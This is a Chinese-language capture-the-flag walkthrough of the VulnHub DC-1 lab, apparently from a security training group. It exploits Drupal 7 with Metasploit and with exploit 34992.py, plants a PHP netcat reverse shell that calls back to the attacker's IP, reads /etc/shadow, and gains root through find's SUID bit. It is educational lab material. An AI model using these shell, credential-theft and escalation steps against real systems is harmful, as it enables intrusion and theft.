靶机系列|VULNHUB|DC-1
免责声明:
笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
泷羽sec官网:https://longyusec.com/
泷羽sec B站地址:https://space.bilibili.com/350329294
泷羽sec帮会:https://wiki.freebuf.com/front/societyFront?invitation_code=5a2005d9&society_id=239&source_data=2
基础介绍
DC-1 是一个专门建造的易受攻击实验室,目的是获得渗透测试领域的经验。
它旨在为初学者提供挑战,但它的难易程度取决于您的技能和知识,以及您的学习能力。
要成功完成此挑战,您需要具备 Linux 技能、熟悉 Linux 命令行以及使用基本渗透测试工具的经验,例如可以在 Kali Linux 或 Parrot Security OS 上找到的工具。
总共有五个标志,但最终目标是在 root 的主目录中找到并读取标志。您甚至不需要是 root 即可执行此操作,但是,您将需要 root 权限。
根据您的技能水平,您可以跳过查找大多数这些标志并直接进入 root。
初学者可能会遇到他们以前从未遇到过的挑战,但只需 Google 搜索即可获得完成此挑战所需的信息。
下载链接
https://download.vulnhub.com/dc/DC-1.zip
https://pan.baidu.com/s/1grHDHwYKhMTCfFe_4-h4zQ?pwd=q7ik
Tips
如果导入虚拟机之后,发现扫描不到,可以看一下DC-1的网络设置是否是NAT模式。如果是在DC-1虚拟机开机状态下进行的修改,保存之后还需要重启一次才会生效。

攻击流程
使用Metasploit的攻击流程
首先查看一下攻击机的ip,包括掩码位数,命令ip a

可以看到eth0
的网卡掩码位数为24
位,下一步探测存活主机,通过netdiscover
命令探活
netdiscover -r 192.168.116.0/24
-r
参数指定了扫描的模式,这里-r
表示进行ARP请求扫描(ARP Request scan),这是一种通过发送ARP请求包来发现同一局域网内其他设备的方法。ARP(地址解析协议)用于将网络层协议地址(如IPv4地址)映射到链路层地址(如以太网MAC地址)。192.168.116.0/24
指定了要扫描的网络范围。这里的/24
表示子网掩码,意味着前24位是网络地址部分,后8位是主机地址部分。因此,这个范围包括了从192.168.116.0
到192.168.116.255
的所有可能IP地址。

经过上一步查询攻击机的ip,加上对其余ip地址的判读,192.168.116.1
和192.168.116.2
都是网关地址,192.168.116.254
为广播地址,所以很轻松的发现靶机的ip,是192.168.116.133
。
对靶机进行端口探测,使用命令nmap 192.168.116.133

发现80
端口开放,进一步对http服务进行信息收集,使用命令whatweb -v http://192.168.116.133
whatweb
是一个开源的命令行工具,用于识别和分析网站的特性,包括它们所使用的技术栈、内容管理系统(CMS)、编程语言、框架等。
-v
参数表示“verbose”(详细模式),这意味着whatweb
会输出更详细的信息,包括它尝试的每个插件的结果,而不仅仅是它成功识别的内容。

收集到的相关信息是:网站是基于Drupal
的cms
框架开发的、apache
版本是2.2.22
、php
版本是5.4.45
针对于Drupal
进行攻击,打开Metasploit
,命令是msfconsole
搜索相关漏洞,search drupal 7

目前并不清楚哪个能用,哪个不能用,所以就按顺序来,首先use 1
,然后通过options
查看配置相关情况

在Required
栏下面的,写有yes
的即为必填项,该模块有四个必填项,只有一个RHOSTS
是空的,那手动配置一下,命令是set rhosts 192.168.116.133

配置完成之后,就可以发起攻击了,命令是exploit

可以看到成功上线,下一步就是获取交互式的shell环境,首先键入命令shell
,再通过命令python -c "import pty;pty.spawn('/bin/bash')"
获取到交互式的shell
import pty;pty.spawn('/bin/bash')
这行代码是Python语言中的一段代码,用于在Python环境中启动一个新的bash shell会话。
import pty
:这部分代码导入了Python的pty
模块。pty
模块提供了一组函数,用于伪终端(pseudo-terminal)的创建和操作。伪终端是一种软件接口,它模拟了硬件终端的功能,允许程序以类似于终端的方式与用户交互。pty.spawn('/bin/bash')
:这部分代码调用了pty
模块的spawn
函数,并传递了'/bin/bash'
作为参数。spawn
函数的作用是启动一个新的进程,并为其分配一个伪终端。在这个例子中,它启动了一个新的bash shell进程。
'/bin/bash'
是bash shell的可执行文件路径,在大多数Unix-like系统(如Linux和macOS)上,bash shell是默认的命令行解释器。
发现了第一个flag

Every good CMS needs a config file - and so do you.
每个优秀的CMS都需要一个配置文件 - 你也一样。
话不多说,搜搜配置文件,命令find . -name set*
find
:是用于在文件系统中搜索文件和目录的命令。.
:指定搜索的起始目录,.
表示当前目录。-name
:是一个选项,告诉find
命令要根据文件名来搜索。set*
:指定了要搜索的文件名模式。星号(*
)是一个通配符,表示任意数量的任意字符。因此,set*
会匹配任何以 “set” 开头的文件名。注意,输出的路径是相对于你执行命令时所在的当前目录的。

通过查看相关配置文件,发现了flag2以及数据库相关的一些信息
Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?
暴力破解和字典攻击并不是获取访问权限的唯一方法(而且你确实需要获得访问权限)。那么,拥有这些凭证后你可以做些什么呢?

发现了数据库的相关信息,类型为mysql
,用户名为dbuser
,密码为R0ck3t
登陆数据库,命令为mysql -u dbuser -pR0ck3t
,需要注意的是,-p
指定的密码需要紧贴着输入,不要键入空格。

成功登录之后,查看数据库,show databases
,通过之前查询配置文件可知,数据库名为drupaldb
,使用该数据库,use drupaldb
,进一步查询库中信息,show tables

查询到了一个users
表,继续深挖select * from users\G;
在SQL中,
\G
是一个特殊的格式化选项,通常用在MySQL或MariaDB这样的数据库管理系统中。当你执行一个查询并希望结果以垂直格式显示时,可以在查询语句的末尾加上\G
。

虽然查询到了管理员的账号密码,但是很显然,密码被哈希加密了,这种不可逆的加密算法肯定不能指望爆破了,还是尝试从配置文件入手find . -name *hash*

*hash*
:指定了要搜索的文件名模式。星号(*
)是一个通配符,表示任意数量的任意字符。*hash*
会匹配任何包含 “hash” 字符串的文件名。
查询到了一个shell脚本,驱动脚本,获得正确打开方式
password-hash.sh "mynewpassword"

获得了一串哈希加密的字符串,将这串字符串更新为管理员的密码
update users set pass="$S$DgB9EplXT2HnSqml6iNRonAmDA2mSti7696/E1ZUlsMW0lLxuxy0" where uid=1;

更新成功后,即可去登录

登陆成功后,发现flag

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow
特殊的权限(PERMS)将帮助找到passwd文件 - 但你需要执行(-exec)那个命令来弄清楚如何获取shadow文件中的内容。
提示要查找passwd
,还提到了shadow文档
以及find命令
和exec命令
,刚才通过Metasploit
拿到的最多也就是apache权限
,不可能有权限查询shadow文档
,结合提示,考虑用到find
的suid提权
。
find flag1.txt -exec cat /etc/shadow \;

查询到了存在flag4用户,密码同样被哈希加密了。尝试查看/etc/passwd
文档,看看是否有发现

找到了flag4用户的家目录,切换到目录下,发现了flag4
Can you use this same method to find or access the flag in root?Probably.But perhaps it's not that easy. Or maybe it is?
你能使用同样的方法来查找或访问 root 目录下的标志(flag)吗?可能吧。但也许没那么容易。或者也许很容易?

同样的方法大概指的是flag
于exec
的组合,又提到了root
,那就通过命令find flag4.txt -exec "/bin/sh" \;
来提权

提权成功,切换到/root
目录下,查看最后一个flag

Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7
做得好!!!!
希望你享受了这次体验,并且学到了一些新技能。
你可以通过Twitter(@DCAU7)联系我,告诉我你对这次小旅程的看法。
打完收工!
不使用Metasploit的攻击流程
探查ip与扫描端口的方式与上面的操作一致,就不再赘述了。
通过searchsploit
工具搜索漏洞searchsploit drupal 7

由于并不知晓哪个脚本可以使用,所以就先按顺序使用,首先下载符合版本的第一个模块,命令是searchsploit -m 34992.py

将利用脚本下载到当前路径下之后,通过命令python2 34992.py
来运行脚本会获得帮助文档

通过命令python2 34992 -t http://192.168.116.142 -u f4uit -p root
新建管理员用户

成功后会返回用户名和密码,以及一个登陆链接,打开URL,键入用户名密码,即可完成登录。

在Content
导航栏即可找到flag3


发现可以编辑文档,打算写php格式的反弹shell的命令,但是发现当前的编辑环境并不支持php格式,需要手动添加一下。导航栏处选择Modules
板块,然后快捷键Crtl+F
搜索关键词php


将这个勾打上之后,滑到页面最下方点击保存。还没结束,需要再次找到这个模块,点击Permissions
,进入到配置页面,打开管理员使用权限的开关


这样保存之后,即可写入相关的php格式的命令了。
先以phpinfo
试验一下配置是否生效
<?php phpinfo();?>

可以看到很顺利的解析执行了

下面执行反弹shell的命令
<?php system('nc -e /bin/bash 192.168.116.130 12345')?>
使用
system
函数调用nc
(Netcat)命令,并通过-e
选项将/bin/bash
(Bash shell)绑定到指定的IP地址和端口上。这种做法通常用于创建一个反向shell,允许远程用户通过指定的端口访问并执行服务器上的命令。

同一时间,在攻击机上使用命令nc -lp 12345
开启监听
-l
选项告诉 Netcat 以监听模式运行,即它会等待并接受来自其他主机的连接。-p
选项后面跟的是端口号,这里是12345
。

顺利回弹,查看flag4的操作与上面的方式一样,就不多说了
补充一个查找suid提权命令的操作,find / -perm -u=s
-perm
:这个选项用于根据文件的权限位来搜索文件。-u=s
:这指定了要搜索的特定权限位。-u=s
表示搜索设置了 SUID 位的文件。SUID 位允许用户在执行文件时以文件所有者的权限运行,而不是以执行该文件的用户的权限运行。在
find
命令的-perm
选项中,-
通常用于表示“精确匹配”权限位,而+
用于表示“至少包含”指定的权限位。但是,对于 SUID、SGID(Set Group ID)和 sticky 位(粘滞位),find
命令的行为略有不同。对于 SUID、SGID 和 sticky 位,find
命令实际上会忽略-
和+
前缀,并只检查指定的位是否被设置。

利用find
可以获得root
权限

剩下的操作就与上面如出一辙了,获取root
权限的shell
,然后切换到root
目录下, 查看最后一个flag
,就不多说了。